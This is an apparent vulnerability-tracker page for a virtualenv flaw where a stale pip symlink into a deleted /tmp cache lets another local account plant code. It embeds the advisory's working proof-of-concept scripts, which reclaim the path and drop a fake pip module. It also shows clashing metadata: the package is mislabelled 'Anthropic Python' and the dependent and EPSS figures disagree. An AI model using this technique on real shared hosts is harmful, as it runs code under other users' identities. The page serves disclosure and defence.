CVE-2026-113713: virtualenv: stale temp-cache symlink enables local code exec

GHSA-4f8h-vr72-p32cMEDIUM
Published October 23, 2026
CISO Take

virtualenv 21.14.8 and 21.14.9 can create Python environments whose pip package is a symlink into a temporary cache that is deleted when creation finishes. This happens when symlink seeding is enabled through the VIRTUALENV_SYMLINK_APP_DATA environment variable or the config file and the app-data cache falls back to a temp directory. On a shared /tmp, another local account can recreate the deleted path and plant a fake pip that runs as the environment owner the next time they use it. Real-world risk is low: it needs a multi-user host, a non-default symlink setting, a missing or unwritable cache, and a later run of the environment. There is no public exploit or Nuclei template, and the cross-account claim has not been independently reproduced. EPSS is 0.00107, though the percentile shown (top 99%) looks inconsistent with that score and should be treated cautiously. The package has about 6,390 dependents, so the blast radius is wide even though exploitability is narrow. Upgrade to virtualenv 21.14.10, and until then disable symlink seeding in env vars and config. Recreate any environments built under those settings on shared build hosts.

Sources:NVDGitHub AdvisoryEPSSATLASgithub.com/pypa/virtualenv

What is the risk?

Low practical risk despite the medium rating on the feed. Exploitation needs local access on a shared multi-user system, symlink seeding enabled through env var or config (the CLI flag is already blocked for temp app-data), and an app-data fallback to a shared temporary directory. The attacker must also win the race to claim the deleted path and wait for the owner to use the environment. Impact is code execution as the environment owner, which makes it an integrity and local privilege-boundary issue. It is not remotely exploitable. EPSS is very low, there is no KEV listing and there is no public exploit. Exposure is concentrated in shared CI runners, shared GPU or ML workstations, and multi-tenant notebook or build servers where /tmp is shared across accounts. Single-user machines, containers with private /tmp, and Windows defaults are not meaningfully exposed.

How does the attack unfold?

Initial Access
Attacker holds a local account on a shared host where symlink seeding is enabled through env var or config and app-data falls back to /tmp.
Staging
After virtualenv deletes its temp cache, the attacker reads the dangling pip symlink target and recreates the path with a malicious pip/__init__.py.
AML.T0079
Execution
The environment owner runs venv/bin/pip, which imports the planted module through the stale link and runs attacker code under the owner's identity.
AML.T0010.001
Impact
The attacker tampers with the environment and can access the owner's credentials, datasets or model artifacts.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip>= 21.14.8, < 21.14.1021.14.10
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 10% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.10 or later; the fix copies seed packages whenever app-data is temporary, whatever supplied the symlink option. 2) Until patched, remove VIRTUALENV_SYMLINK_APP_DATA and any symlink_app_data entry from virtualenv.ini or the config file. 3) Provide a writable, persistent app-data cache private to the environment owner (for example via VIRTUALENV_OVERRIDE_APP_DATA or a correct HOME). 4) On shared hosts, give each user a private TMPDIR or use per-user /tmp namespaces. 5) Recreate environments built under affected settings, and look for dangling site-packages/pip symlinks, for example with find <envs> -xtype l -path '*site-packages/pip*'. 6) Detection: alert on pip or other seed packages resolving to /tmp paths, and on unexpected files written inside environment directories. 7) Add virtualenv to SCA and dependency-update tooling so the patch rolls out across CI images.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
GOVERN 6.1-Policies and procedures address third-party software and data risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-113713?

virtualenv 21.14.8 and 21.14.9 can create Python environments whose pip package is a symlink into a temporary cache that is deleted when creation finishes. This happens when symlink seeding is enabled through the VIRTUALENV_SYMLINK_APP_DATA environment variable or the config file and the app-data cache falls back to a temp directory. On a shared /tmp, another local account can recreate the deleted path and plant a fake pip that runs as the environment owner the next time they use it. Real-world risk is low: it needs a multi-user host, a non-default symlink setting, a missing or unwritable cache, and a later run of the environment. There is no public exploit or Nuclei template, and the cross-account claim has not been independently reproduced. EPSS is 0.00107, though the percentile shown (top 99%) looks inconsistent with that score and should be treated cautiously. The package has about 6,390 dependents, so the blast radius is wide even though exploitability is narrow. Upgrade to virtualenv 21.14.10, and until then disable symlink seeding in env vars and config. Recreate any environments built under those settings on shared build hosts.

Is CVE-2026-113713 actively exploited?

No confirmed active exploitation of CVE-2026-113713 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113713?

1) Upgrade virtualenv to 21.14.10 or later; the fix copies seed packages whenever app-data is temporary, whatever supplied the symlink option. 2) Until patched, remove VIRTUALENV_SYMLINK_APP_DATA and any symlink_app_data entry from virtualenv.ini or the config file. 3) Provide a writable, persistent app-data cache private to the environment owner (for example via VIRTUALENV_OVERRIDE_APP_DATA or a correct HOME). 4) On shared hosts, give each user a private TMPDIR or use per-user /tmp namespaces. 5) Recreate environments built under affected settings, and look for dangling site-packages/pip symlinks, for example with find <envs> -xtype l -path '*site-packages/pip*'. 6) Detection: alert on pip or other seed packages resolving to /tmp paths, and on unexpected files written inside environment directories. 7) Add virtualenv to SCA and dependency-update tooling so the patch rolls out across CI images.

What systems are affected by CVE-2026-113713?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, CI/CD build environments, shared ML workstations and notebook servers, agent frameworks.

What is the CVSS score for CVE-2026-113713?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

training pipelinesmodel servingCI/CD build environmentsshared ML workstations and notebook serversagent frameworks

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.10.3
NIST AI RMF: GOVERN 6.1
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced. ## Affected area Integrity of app-data references after temporary cache cleanup. ## Attacker-controlled input Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references. The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults. ## Affected code The relevant 21.14.8 source is in [symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py), [temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py). ## Mechanism When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem. ## Reproduction and evidence The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there. When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed `this is not pip`. The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. [Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one other_user_uid = 4242 project = Path("/srv/project") other_user_files = Path("/var/tmp/other-user") # set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignore_errors=True) shutil.rmtree(other_user_files, ignore_errors=True) project.mkdir(mode=0o755) os.chown(project, owner.pw_uid, owner.pw_gid) shutil.copytree("/tmp/repro.d", other_user_files) subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True) as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project} as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"} owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"] # control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner) control_pip = next(project.glob("control/lib/python*/site-packages/pip")) print(f"CONTROL --symlink-app-data: {control_pip} is a symlink: {control_pip.is_symlink()}") # trigger: the same setting through the environment variable symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"} subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner) venv_pip = next(project.glob("venv/lib/python*/site-packages/pip")) print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}") # attack: the other user re-creates the deleted folder the link points into if venv_pip.is_symlink(): print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}") subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user) # the owner uses their environment pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner) print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}") # check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write venv_stat = os.stat(project / "venv") print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}") proof = project / "venv/attacker-code-ran" print(f"OBSERVED {proof} exists: {proof.exists()}") if proof.exists(): print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}") print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK") ``` **`repro.d/fake_pip.py`** ```text # planted as pip/__init__.py: runs in whichever process imports pip import os import sys with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof: proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}") sys.exit("this is not pip") ``` **`repro.d/plant_fake_pip.py`** ```text import os import shutil import sys from pathlib import Path dangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go deleted_folder = Path(os.readlink(dangling_link)) # virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take deleted_folder.mkdir(parents=True) shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py") ``` ## Impact Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition. Severity: low. ## Versions tested The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available. The reporter identifies 20.0.6 as the first affected release. Commit [c3453b6c](https://github.com/pypa/virtualenv/commit/c3453b6c381d28377c8e0115bf1124b2ca7b3c2b), first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified. The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup. Proposed fix: [PR #3437](https://github.com/pypa/virtualenv/pull/3437). ## Known mitigation The proposed fix is in [public PR #3437](https://github.com/pypa/virtualenv/pull/3437). The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding. Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

Exploitation Scenario

On a shared ML build server, the platform team sets VIRTUALENV_SYMLINK_APP_DATA=1 globally to speed up environment creation. A data scientist's home directory is unwritable, so virtualenv falls back to a temp cache under /tmp and links site-packages/pip into it. When the process exits the cache is deleted, leaving a dangling link. A second local user reads the world-readable link target, recreates the directory and drops a malicious pip/__init__.py. The data scientist later runs venv/bin/pip, and the attacker's code runs as them. It can then read training data, steal cloud or model-registry credentials, or tamper with files in the environment.

Weaknesses (CWE)

CWE-377 — Insecure Temporary File: Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Source: MITRE CWE corpus.

Timeline

Published
October 23, 2026
Last Modified
October 27, 2026
First Seen
October 24, 2026

Related Vulnerabilities